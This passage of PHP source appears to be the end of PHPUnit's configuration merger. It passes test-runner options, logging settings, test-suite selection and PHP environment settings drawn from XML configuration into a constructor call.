$failOnEmptyTestSuite,
$failOnIncomplete,
$failOnNotice,
$failOnRisky,
$failOnSkipped,
$failOnWarning,
$stopOnDefect,
$stopOnDeprecation,
$stopOnError,
$stopOnFailure,
$stopOnIncomplete,
$stopOnNotice,
$stopOnRisky,
$stopOnSkipped,
$stopOnWarning,
$outputToStandardErrorStream,
$columns,
$noExtensions,
$pharExtensionDirectory,
$extensionBootstrappers,
$backupGlobals,
$backupStaticProperties,
$beStrictAboutChangesToGlobalState,
$colors,
$processIsolation,
$enforceTimeLimit,
$defaultTimeLimit,
$timeoutForSmallTests,
$timeoutForMediumTests,
$timeoutForLargeTests,
$reportUselessTests,
$strictCoverage,
$disallowTestOutput,
$displayDetailsOnIncompleteTests,
$displayDetailsOnSkippedTests,
$displayDetailsOnTestsThatTriggerDeprecations,
$displayDetailsOnPhpunitDeprecations,
$displayDetailsOnTestsThatTriggerErrors,
$displayDetailsOnTestsThatTriggerNotices,
$displayDetailsOnTestsThatTriggerWarnings,
$reverseDefectList,
$requireCoverageMetadata,
$registerMockObjectsFromTestArgumentsRecursively,
$noProgress,
$noResults,
$noOutput,
$executionOrder,
$executionOrderDefects,
$resolveDependencies,
$logfileTeamcity,
$logfileJunit,
$logfileTestdoxHtml,
$logfileTestdoxText,
$logEventsText,
$logEventsVerboseText,
$teamCityOutput,
$testDoxOutput,
$testsCovering,
$testsUsing,
$filter,
$groups,
$excludeGroups,
$randomOrderSeed,
$includeUncoveredFiles,
$xmlConfiguration->testSuite(),
$includeTestSuite,
$excludeTestSuite,
$xmlConfiguration->phpunit()->hasDefaultTestSuite() ? $xmlConfiguration->phpunit()->defaultTestSuite() : null,
$testSuffixes,
new Php(
DirectoryCollection::fromArray($includePaths),
IniSettingCollection::fromArray($iniSettings),
$xmlConfiguration->php()->constants(),
$xmlConfiguration->php()->globalVariables(),
$xmlConfiguration->php()->envVariables(),
$xmlConfiguration->php()->postVariables(),
$xmlConfiguration->php()->getVariables(),
$xmlConfiguration->php()->cookieVariables(),
$xmlConfiguration->php()->serverVariables(),
$xmlConfiguration->php()->filesVariables(),
$xmlConfiguration->php()->requestVariables(),
),
$xmlConfiguration->phpunit()->controlGarbageCollector(),
$xmlConfiguration->phpunit()->numberOfTestsBeforeGarbageCollection(),
$generateBaseline,
$cliConfiguration->debug(),
);
}
}